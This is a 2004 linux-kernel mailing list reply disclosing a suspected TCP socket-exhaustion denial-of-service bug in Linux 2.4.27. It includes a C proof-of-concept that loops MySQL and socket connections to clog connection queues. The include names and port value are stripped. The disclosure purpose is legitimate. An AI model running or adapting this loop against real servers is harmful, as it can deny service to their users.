Return-Path: Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S268411AbUILCqs (ORCPT ); Sat, 11 Sep 2004 22:46:48 -0400 Received: (majordomo@vger.kernel.org) by vger.kernel.org id S268410AbUILCpt (ORCPT ); Sat, 11 Sep 2004 22:45:49 -0400 Received: from outbound04.telus.net ([199.185.220.223]:241 "EHLO priv-edtnes28.telusplanet.net") by vger.kernel.org with ESMTP id S268411AbUILCpk (ORCPT ); Sat, 11 Sep 2004 22:45:40 -0400 From: "Wolfpaw - Dale Corse" To: Cc: , , Subject: RE: Linux 2.4.27 SECURITY BUG - TCP Local (probable Remote) Denial of Service Date: Sat, 11 Sep 2004 20:45:43 -0600 Message-ID: <000001c49872$99333460$0200a8c0@wolf> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.6626 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal In-Reply-To: <022601c49866$9e8aa8f0$0300a8c0@s> Sender: linux-kernel-owner@vger.kernel.org X-Mailing-List: linux-kernel@vger.kernel.org Content-Length: 5604 Lines: 203 Hi David, Hmm.. I was more looking for the correct kernel developer to send it to, rather then just releasing exploit code into the wild, and having it end up a zero day hack. It was not in any way my intention to waste anyone's time. I will however, comply with your politely stated request :) As for it being an application bug - it may be one in Mysql not closing the sockets, but it is a Kernel Bug that allows CLOSE_WAIT sockets to clog up the connection queues, and cause a DOS conditions on other applications (such as Apache). Since most software used for denial of service is badly written (intentionally) to exploit the holes, the error should be fixed, not blamed on faulty software. That being said - below is a the proper description, and the code used to exploit it. Hope it helps. This version is not the one which invokes the CLOSE_WAIT state, but rather the TIME_WAIT one, I am not able to publish the source code for the CLOSE_WAIT bug. The log however clearly shows that a mysql descriptor is closed, and then used immediately again by the socket call, which causes it never to end up getting closed. Linux apparently has either no timeout for CLOSE_WAIT, or it's a very very long one.. Either way is a bad thing. D. Description ============= The "socket" call will reuse file descriptor before it is completely finished closing. In this case, it is Mysql (3.23.58) which doesn't appear to close them right away, and thus you end up with the result I mentioned. Proof Of Concept Code: ====================== #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "mysql.h" int main (int argc, char **argv) { char *sql_host = "127.0.0.1"; char *sql_name = "root"; char *sql_pass = ""; char *sql_socket = NULL; int sql_port = ; char *c_host = "127.0.0.1"; int c_port=80; long sock=0; int connectresult=0; struct sockaddr_in sockaddr; MYSQL mysql; MYSQL mysql2; mysql_init(&mysql); mysql_init(&mysql2); if (!mysql_real_connect (&mysql2, sql_host, sql_name, sql_pass,NULL,sql_port,sql_socket,0)) { printf ("SQL-ERROR connecting to database: %s", mysql_error (&mysql)); exit(1); } printf("Mysql Socket Connected: %d\n",mysql.net.fd); while(1) { /* Close the SQL connection */ mysql_close(&mysql); mysql_init(&mysql); if (!mysql_real_connect (&mysql, sql_host, sql_name, sql_pass,NULL,sql_port,sql_socket,0)) { printf ("SQL-ERROR connecting to database: %s", mysql_error (&mysql)); exit(1); } printf("Mysql Socket Connected: %d\n",mysql.net.fd); sockaddr.sin_addr.s_addr=inet_addr(c_host); sockaddr.sin_port=htons(c_port); if((sock=socket(AF_INET, SOCK_STREAM, 0))<0) printf("socket failed."); sockaddr.sin_family=AF_INET; printf("Connecting to %s:%d (FD: %ld)... ",c_host,c_port,sock); connectresult=connect(sock,(struct sockaddr *) &sockaddr, sizeof(sockaddr)); if(connectresult) { close(sock); switch(errno) { case ECONNREFUSED: printf(" CONNECTION REFUSED.\n"); break; case ENETUNREACH: printf(" HOST UNREACHABLE.\n"); break; default: printf(" FAILED: UNKNOWN ERROR"); } } else { printf(" Connected.\n"); } mysql_close(&mysql2); /* Make a Mysql Connection */ mysql_init(&mysql2); if (!mysql_real_connect (&mysql2, sql_host, sql_name, sql_pass,NULL,sql_port,sql_socket,0)) { printf ("SQL-ERROR connecting to database: %s", mysql_error (&mysql2)); exit(1); } printf("Mysql Socket Connected: %d\n",mysql2.net.fd); /* Close the socket connection */ printf("Closing socket #%ld",sock); close(sock); } } > -----Original Message----- > From: David S. Miller [mailto:davem@davemloft.net] > Sent: Saturday, September 11, 2004 7:12 PM > To: admin@wolfpaw.net > Cc: linux-kernel@vger.kernel.org; grsecurity@grsecurity.net; > bugtraq@securityfocus.com > Subject: Re: Linux 2.4.27 SECURITY BUG - TCP Local (probable > Remote) Denial of Service > > > > Close wait means the application locally has not closed > the file descriptor, yet the remote end has sent > a FIN. > > This is %99 of the time an application bug. > > But since you haven't provided much detail of the problem > nobody will ever know exactly what you're talking about. > > Please, do me and everyone else here on this list a real huge > favor, don't post bug reports without all the details, you're > just wasting everyone's time. If it's exploitable, even more > reason to post every single detail so we can work on a fix if > necessary as fast as possible. > > -------------------------------------------------------------- > -------------- > - > This message has been scanned for Spam and Viruses by ClamAV > and SpamAssassin > -------------------------------------------------------------- > -------------- > - > > > > > - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/